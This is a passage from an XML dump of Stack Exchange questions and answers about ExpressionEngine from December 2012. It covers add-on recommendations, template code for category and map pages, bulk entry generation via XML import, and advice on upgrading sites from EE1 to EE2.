rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/safecracker-emailer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But if you have similar clients to mine, you will find the other solutions inadequate in flexibility and extendibility. Postmaster is definitely a premium solution with over 6 months of development - all the people that currently use it, just love it.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-07T15:36:54.457" LastActivityDate="2012-12-07T15:36:54.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1306" PostTypeId="2" ParentId="1300" CreationDate="2012-12-07T13:53:02.613" Score="3" Body="&lt;p&gt;About a year ago @BrandonKelly, &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/using_assets_field_in_safecracker_form_to_upload_without_the_filebrowser&quot; rel=&quot;nofollow&quot;&gt;Pixel and Tonic&lt;/a&gt; mentioned potentially adding support for using just using the SafeCracker File Upload field to upload to Assets, but I'm not certain if that has happened, as of yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to hide the file browser, using CSS or Javascript, but that wouldn't solve your memory issue, since the script to examine the directory is still triggered, it's just that the results are hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend, if users are ONLY uploading a file to a directory from the front end, switch to either SafeCracker File Upload or the EE File Upload. Looking through the documentation, I don't see any new data on configuring the File Upload to &lt;strong&gt;NOT&lt;/strong&gt; display the directory, and that can take a fair amount of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to, of course, point to a directory with a very small number of resources. For example, create a new file upload area, specifically for the form. Assuming that you won't have 100s of uploads, this shouldn't use as much memory. Of course, if you are expecting 100s or 1000s of uploads, then the same issue will occur, as more applications/forms get completed.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-07T13:53:02.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1307" PostTypeId="2" ParentId="1304" CreationDate="2012-12-07T14:16:11.133" Score="2" Body="&lt;p&gt;Have you checked the option to make your field searchable? go to admin &gt; channel administration &gt; channel fields and select the group and field you want to show up in results and make sure its searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see attached screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJK0m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-07T14:16:11.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1308" PostTypeId="2" ParentId="1301" CreationDate="2012-12-07T14:20:05.923" Score="8" Body="&lt;p&gt;Do you have the &lt;a href=&quot;http://devot-ee.com/add-ons/image-sizer&quot;&gt;latest version which is 2.6.4&lt;/a&gt;, if not upgrade and see if that solves your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you aware that this plugin is no longer in development and that it is effectively abandonware? For a more robust solution that is actively developed and supported by the developer I would recommend &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot;&gt;CE Image&lt;/a&gt; additionally the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot;&gt;documentation&lt;/a&gt; is second to none making it very easy to use.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-07T14:20:05.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1309" PostTypeId="1" AcceptedAnswerId="1333" CreationDate="2012-12-07T15:09:15.737" Score="2" ViewCount="182" Body="&lt;p&gt;I've got a site using FreeForm 3.1.4 which is having a bit of an issue where guests are creating their own collection by, presumably, manipulating the source before submitting the form. As you can see from the attached screenshot we have several &quot;collections&quot; the ones that should be there are prefixed by HGI. All forms on this site are using honee-pot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent this from happening? Back in February &lt;a href=&quot;http://www.solspace.com/forums/viewthread/11678/&quot; rel=&quot;nofollow noreferrer&quot;&gt;I posted this to the Solspace support forums&lt;/a&gt; but it wasn't resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All suggestions greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Z3qt.png&quot; alt=&quot;freeform screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-27T04:16:22.770" Title="FreeForm 3.1.4: Collection created by guest - how to prevent this" Tags="|add-on|ee2|solspace-freeform|spam|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1310" PostTypeId="1" CreationDate="2012-12-07T15:31:32.317" Score="5" ViewCount="301" Body="&lt;p&gt;We typically have a dev/staging/production setup for sites. We have all the configuration stuff sorted out and deploying from one to another is easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the database, specifically channel data, which contains both structural and user contributed data. Is there a good way to sync channel data when new features are added to the site, without bringing the site down?&lt;/p&gt;&#xA;" OwnerUserId="277" LastActivityDate="2012-12-10T16:26:33.587" Title="Syncing channel data across servers" Tags="|ee2|deployment|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1311" PostTypeId="2" ParentId="1301" CreationDate="2012-12-07T15:38:03.253" Score="3" Body="&lt;p&gt;Most likely some issue with the GD library. Check for errors for further hints: Image Resizer doesn't output errors but logs them in the Template Parsing Log. You can turn that on in the CP at &lt;strong&gt;Admin&lt;/strong&gt; &amp;rarr; &lt;strong&gt;System Administration&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Output and Debugging&lt;/strong&gt; and switch &lt;strong&gt;Display Template Debugging?&lt;/strong&gt; to yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As CreateSean notes, this plugin is basically vaporware. &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; is fantastic, but there's also &lt;a href=&quot;http://devot-ee.com/add-ons/ed-imageresizer&quot; rel=&quot;nofollow&quot;&gt;ED Image Resizer&lt;/a&gt; if you need a free option.)&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2012-12-07T15:38:03.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1312" PostTypeId="1" AcceptedAnswerId="1313" CreationDate="2012-12-07T16:00:24.340" Score="3" ViewCount="677" Body="&lt;p&gt;I am using structure for the pages of a site and am curious as to how the &quot;Listings&quot; type is supposed to work. It seems to allow me to provide a listing template and to specify the template that is used for each individual article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there doesn't appear to be a way to have categories and archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved or can Structure not be used to do that?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-11T16:51:25.057" Title="How to create blog listing with categories using structure?" Tags="|ee2|templates|structure|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1313" PostTypeId="2" ParentId="1312" CreationDate="2012-12-07T16:07:50.393" Score="4" Body="&lt;p&gt;You'll need an additional addon like &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt;, which allows the system to ignore certain segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;a href=&quot;http://buildwithstructure.com/documentation/categories_sorting_and_displaying/&quot; rel=&quot;nofollow&quot;&gt;reasonably complete walkthrough&lt;/a&gt; in the Structure documentation and &lt;a href=&quot;http://www.3roadsmedia.com/blog/expressionengine-with-structure-and-categories/&quot; rel=&quot;nofollow&quot;&gt;this blog post on 3 Roads Media&lt;/a&gt; also covers the same idea.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2012-12-07T16:07:50.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1314" PostTypeId="2" ParentId="1309" CreationDate="2012-12-07T16:11:28.003" Score="1" Body="&lt;p&gt;Is updating to FreeForm 4 an option for you on this site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://www.solspace.com/forums/viewreply/57953/&quot; rel=&quot;nofollow&quot;&gt;new post in the Solspace forum thread&lt;/a&gt; you linked to suggests that FF 4 no longer exposes collection ids via hidden form fields, so should prevent this from happening.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-07T16:11:28.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1315" PostTypeId="1" AcceptedAnswerId="1316" CreationDate="2012-12-07T16:20:04.597" Score="2" ViewCount="189" Body="&lt;p&gt;This is quite a basic question I think, but when viewing a template with entries with the standard entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mywebsite&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if I replace the last segment with arbitrary letters, it will show all entries from that channel, like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.somewebsite.com/mytemplategroup/sdjhkkajsd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a page with regular entries I can avoid this by using  &lt;code&gt;entry_id=segment_2&lt;/code&gt;, but this doesn't work when viewing a category with category titles enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.somewebsite.com/mytemplategroup/category_template/category/category_url_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replacing category_url_title with &quot;lzdsfuhkhjfdg&quot; shows ALL entries from the channel. I can't prevent this in the entries tag with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;mywebsite&quot; category_url_title=&quot;segment_4&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because that is not supported. So how would you solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="28" LastEditDate="2012-12-08T16:31:22.823" LastActivityDate="2012-12-10T00:55:22.690" Title="How can I prevent all entries from being listed with an arbitrary url?" Tags="|channel|module|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1316" PostTypeId="2" ParentId="1315" CreationDate="2012-12-07T16:29:52.873" Score="6" Body="&lt;p&gt;On a single entry page (ie one with a &lt;code&gt;url_title&lt;/code&gt; or &lt;code&gt;entry_id&lt;/code&gt; in the URL) you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot;&gt;&lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt;&lt;/a&gt; parameter, by using this in conjunction with the &lt;code&gt;{if no_results}&lt;/code&gt; conditional, to only show a &quot;proper&quot; page when a valid entry is passed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries require_entry=&quot;yes&quot;}&#xA;  {if no_results}&#xA;    {redirect=&quot;site/404&quot;}&#xA;  {/if}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For category pages things are a little more complex as you note. I tend to make use of Low's &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot;&gt;Seg2Cat&lt;/a&gt; extension, which provides additional variables in your template of the format &lt;code&gt;segment_n_category_id&lt;/code&gt;, and perhaps most handily &lt;code&gt;{last_segment_category_id}&lt;/code&gt; so you can then do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if last_segment_category_id == ''}&#xA;   {redirect=&quot;site/404&quot;}&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then just leave your &lt;code&gt;channel:entries&lt;/code&gt; tag with the (default) &lt;code&gt;dynamnic=&quot;yes&quot;&lt;/code&gt; and it will pull the relevant entries for the cat from the URL, but redirect to your 404 if there isn't a valid category in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, rather than using a separate template for category listings I frequently just use the same template for my &quot;list&quot; view as for my category view, eg I have URLs like &lt;code&gt;example.com/group/template&lt;/code&gt; (list) and &lt;code&gt;example.com/group/template/category/category_url_title&lt;/code&gt; (category)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use Seg2Cat to conditionally output the category name/info in my template if present:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment_category_id}&#xA;   &amp;lt;h1&amp;gt;{last_segment_category_name} News&amp;lt;/h1&amp;gt;&#xA;   {last_segment_category_description}&#xA;{if:else}&#xA;   &amp;lt;h1&amp;gt;Latest News&amp;lt;/h1&amp;gt;&#xA;{/if}&#xA;{exp:channel:entries limit=&quot;10&quot; channel=&quot;news&quot;}&#xA;  ...&#xA;  entry content in here&#xA;  ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you have one fewer templates to manage, and you don't have to worry so much about having valid categories in your URL&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-07T16:49:53.203" LastActivityDate="2012-12-07T16:49:53.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1317" PostTypeId="2" ParentId="1312" CreationDate="2012-12-07T16:54:29.100" Score="4" Body="&lt;p&gt;Freebie is good, but &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-triggers&quot; rel=&quot;nofollow&quot;&gt;Zoo Triggers&lt;/a&gt; is better, and a hell of a lot easier.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-12-07T16:54:29.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1318" PostTypeId="1" AcceptedAnswerId="1332" CreationDate="2012-12-07T16:58:38.250" Score="4" ViewCount="133" Body="&lt;p&gt;What I would like to have is a channel entry that will be a monthly newsletter that can be updated each month and then available on the site to view. But that can also be used as the content for sending out to a small mailing list using the communicate module managed within the EE control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the perfect world I'd like it to be converted to use inline css to reduce problems with some email clients. When I do it manually I use the &lt;a href=&quot;http://beaker.mailchimp.com/inline-css&quot; rel=&quot;noreferrer&quot;&gt;Mailchimp inliner tool&lt;/a&gt; but that's getting complicated for non-techie users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/chimper&quot; rel=&quot;noreferrer&quot;&gt;Chimper addon&lt;/a&gt; by Dukt would probably be perfect and be better for larger mailing lists but the project has been on hold for a long time now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas for a simple easy to use solution?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2012-12-07T21:30:48.077" Title="How can I send the contents of an entry using the built in communicate module" Tags="|email|html-email|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1319" PostTypeId="2" ParentId="1315" CreationDate="2012-12-07T17:23:13.307" Score="0" Body="&lt;p&gt;I'm with @Tom Davies on this one. Require entry, but you can also do so by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url_title=&quot;{segment_3}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But make sure you set-up the 'no_results' option, either to redirect or just a statement on page. But that stops the prevention of random urls. Some bots/spiders do this as well, and you'll see a search engine has tons of erroneous links indexed.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-07T17:23:13.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1320" PostTypeId="1" AcceptedAnswerId="1321" CreationDate="2012-12-07T17:23:51.707" Score="3" ViewCount="140" Body="&lt;p&gt;I'm working on a large site and one of the sections I'm about to develop has 170 entries, all of them use the same long copy, except for one single word. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry 1:&#xA;All of our experts are native &lt;strong&gt;Afar&lt;/strong&gt; speakers and professionally qualified bla, bla, bla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry 2:&#xA;All of our experts are native &lt;strong&gt;Afrikaans&lt;/strong&gt; speakers and professionally qualified bla, bla, bla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every entry has to be dynamically created because at some point they will be translated into another language (using Publisher for this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to setup a system without having the client to enter manually every entry in the ExpressionEngine publish window? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the same text always with only one word changing and it feels like too much work copying and pasting 170 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best approach to develop this? &lt;/p&gt;&#xA;" OwnerUserId="532" LastActivityDate="2012-12-13T13:00:45.580" Title="How to create 170 entries with only one word changing?" Tags="|long-content|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1321" PostTypeId="2" ParentId="1320" CreationDate="2012-12-07T18:19:05.827" Score="4" Body="&lt;p&gt;You could generate XML with EE templates and import it with an add-on like &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab/&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template group &lt;code&gt;xml_import&lt;/code&gt; and the templates &lt;code&gt;xml_import/entries&lt;/code&gt; and &lt;code&gt;xml_import/entry&lt;/code&gt;. Set both template types to XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;xml_import/entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&#xA;&amp;lt;entries&amp;gt;&#xA;    {embed=&quot;xml_import/entry&quot; language=&quot;Afar&quot;}&#xA;    {embed=&quot;xml_import/entry&quot; language=&quot;Afrikaans&quot;}&#xA;&amp;lt;/entries&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;xml_import/entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;entry&amp;gt;&#xA;    &amp;lt;title&amp;gt;{embed:language}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;content&amp;gt;&#xA;    &amp;lt;![CDATA[&#xA;      &amp;lt;p&amp;gt;All of our experts are native {embed:language} speakers and professionally qualified bla, bla, bla.&amp;lt;/p&amp;gt;&#xA;    ]]&amp;gt;&#xA;    &amp;lt;/content&amp;gt;&#xA;&amp;lt;/entry&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;entries&lt;/code&gt; template add &lt;code&gt;{embed=&quot;xml_import/entry&quot; language=&quot;Afar&quot;}&lt;/code&gt; for every language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;entry&lt;/code&gt; template you can edit the title, content or other fields. &lt;code&gt;{embed:language}&lt;/code&gt; outputs the language name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check you XML document &lt;a href=&quot;http://yourdomain.com/xml_import/entries&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/xml_import/entries&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not used DataGrab for myself but I believe it shouldn’t be hard to import the generated XML document and its data into new entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can generate CSV, RSS or other document types this way. The principle is identical.&lt;/p&gt;&#xA;" OwnerUserId="201" LastEditorUserId="201" LastEditDate="2012-12-07T19:01:31.680" LastActivityDate="2012-12-07T19:01:31.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1322" PostTypeId="1" AcceptedAnswerId="1324" CreationDate="2012-12-07T20:01:30.373" Score="8" ViewCount="1958" Body="&lt;p&gt;In light of the EllisLab news today, I have a couple clients still using EE1. I haven't done any upgrades to EE2 yet so I'm not sure the best way to go about it. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do I use the native upgrade wizard?&lt;/li&gt;&#xA;&lt;li&gt;Do I recreate everything in EE2 and then import the data in?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In your experience, what has been the most practical and efficient? What issues have you come across using any methods above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to keep in mind, this site uses these add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Structure&lt;/li&gt;&#xA;&lt;li&gt;Field Frame&lt;/li&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;Playa&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;li&gt;File by Mark Hout&lt;/li&gt;&#xA;&lt;li&gt;nGen File Field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-07T20:28:55.437" Title="EE1 to EE2 Upgrade" Tags="|ee2|ee1|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1323" PostTypeId="2" ParentId="1269" CreationDate="2012-12-07T20:02:51.787" Score="1" Body="&lt;p&gt;Shorn. We are using Objective HTML Google Maps for the same solution as you're looking for in your second question &quot;How can I display all entries on a single map, with links through to the single entry.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have the following functionality:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Map with each single entry indicated by a marker&lt;/li&gt;&#xA;&lt;li&gt;Click a single entry marker to display an info box with single entry title and details&lt;/li&gt;&#xA;&lt;li&gt;Single entry title in the info box links through to the single entry&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Our template code is below. I'm sure an expert would be able to trim it down but it is at least working. Note the last line of code, I found that each marker reset the centre point of the map whatever method I used to initially define it in the {exp:gmap:init} tag. My solution was the final {exp:gmap:center} tag to define the map centre after all markers have been loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map1&quot; scrollwheel=&quot;false&quot; zoom=&quot;9&quot; map_type=&quot;google.maps.MapTypeId.TERRAIN&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;{embed:channels}&quot; disable=&quot;member_data|pagination|category_fields&quot; url_title=&quot;not {embed:url_title}&quot;}&#xA;  {location-map id=&quot;map1&quot; parse=&quot;markers&quot;}&#xA;    {exp:gmap:marker&#xA;      id=&quot;map1&quot;&#xA;      extend_bounds=&quot;false&quot;&#xA;      icon=&quot;/themes/third_party/interactive-map/interactive-map-marker.png&quot;&#xA;      show_one_window=&quot;true&quot;&#xA;      style=&quot;width: '200px'&quot;&#xA;      latitude=&quot;{latitude}&quot;&#xA;      longitude=&quot;{longitude}&quot;&#xA;      infobox=&quot;true&quot;&#xA;      offsetY=&quot;-39&quot;&#xA;      offsetX=&quot;-3&quot;&#xA;      class=&quot;ui-infobox-dark&quot;&#xA;      category=&quot;{categories backspace=&quot;1&quot;}{category_url_title}|{/categories}&quot;&#xA;      geocode=&quot;false&quot;&#xA;    }&#xA;&#xA;      &amp;lt;div class=&quot;ui-infobox-content&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{segment_1}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {markers}&#xA;               {marker:formatted_address}&#xA;            {/markers}&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:gmap:marker}    &#xA;  {/location-map}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:gmap:center id=&quot;map1&quot; latitude=&quot;51.2469449&quot; longitude=&quot;0.7&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="512" LastActivityDate="2012-12-07T20:02:51.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1324" PostTypeId="2" ParentId="1322" CreationDate="2012-12-07T20:28:20.240" Score="20" Body="&lt;p&gt;Luckily the add-ons you are using have some upgrade paths from EE 1 =&gt; 2... The only two you need to tweak are the file fields before and after the upgrade:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;nGen File Field &lt;a href=&quot;https://stackoverflow.com/questions/13041491/expressionengine-1-to-expressionengine-2-upgrade-with-ngen-file-field&quot;&gt;https://stackoverflow.com/questions/13041491/expressionengine-1-to-expressionengine-2-upgrade-with-ngen-file-field&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;File by Mark Hout &lt;a href=&quot;http://ellislab.com/forums/viewthread/218268/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/forums/viewthread/218268/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other notes (that have helped me out):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upgrade to 1.7.3 before upgrading to 2.X&lt;/li&gt;&#xA;&lt;li&gt;Convert all fieldtypes that don't have EE 2 equivalents to plain text fields&lt;/li&gt;&#xA;&lt;li&gt;Under 1.7.3 upgrade all add-ons you plan on keeping to the latest EE 1.X versions you can find&lt;/li&gt;&#xA;&lt;li&gt;Structure has an upgrade script for EE 1 =&gt; EE 2. Contact support to grab a copy (or it might be included in the download now)&lt;/li&gt;&#xA;&lt;li&gt;BACK UP YOUR DB EVERY STEP OF THE WAY. I use Navicat&lt;/li&gt;&#xA;&lt;li&gt;I also backed up files for every major step 1.6.8 =&gt; 1.7.3 =&gt; Add-on updates =&gt; 2.5.X&lt;/li&gt;&#xA;&lt;li&gt;During the upgrade I used &quot;tail&quot; to view the upgrade process because I kept havine issues with various browsers: tail -f config.php&lt;/li&gt;&#xA;&lt;li&gt;I think FF was the only browser that lets me go through the upgrade process without hanging on the ajax calls (OS X Lion here)&lt;/li&gt;&#xA;&lt;li&gt;As soon as EE 2 is upgraded start updating/upgrading your add-ons&lt;/li&gt;&#xA;&lt;li&gt;Wait until the site is upgraded to EE 2 to change/add/remove functionality&lt;/li&gt;&#xA;&lt;li&gt;Field Editor is your friend&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On my last upgrade I had some issues with Gypsy not copying over the custom field formatting settings so if you have issues there start looking at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I will think of more as I look through my notes. I've done quite a few of these and the only issues that really come up are from outdated and unsupported add-ons.&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-07T20:28:20.240" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1325" PostTypeId="2" ParentId="1322" CreationDate="2012-12-07T20:28:55.437" Score="10" Body="&lt;p&gt;I've recently done about 8 EE1 to EE2 upgrades. For the most part everything went really smoothly. The key is to prepare and backup, backup, backup. Did I mention you should backup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the native upgrade wizard and be sure to follow the instructions carefully. The download for structure includes a separate folder for upgrading structure 1 to structure 2. It looks scary on the surface but if you follow the instructions exactly everything will be just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My basic procedure with structure is.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Any field types that do not have EE2 equivalents should be converted to a basic text field before upgrading. (if you miss one and find it post upgrade, convert it in phpmyadmin then change to correct field type in CP)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Upgrade EE1 to EE2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;upgrade Structure 1 to structure 2 (don't forget to do the prepping&#xA;step while still running EE1)&lt;/li&gt;&#xA;&lt;li&gt;Then for any ngen fields or matrix with ngen follow the instructions&#xA;in this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1/upgrading-an-ee1-site-to-ee2-with-ngen-file-field/&quot;&gt;SE thread&lt;/a&gt; (my answer).&lt;/li&gt;&#xA;&lt;li&gt;Next install any addons you need (remember EE1 addons are not&#xA;compatible with EE2)&lt;/li&gt;&#xA;&lt;li&gt;find replacements for addons that do not have an EE2 upgrade option&#xA;with nearest equivalent and then check your template code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I see that Paulo was typing at the same time as me. He has some addional steps which I didn't need, but will still be worth checking out.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-07T20:28:55.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
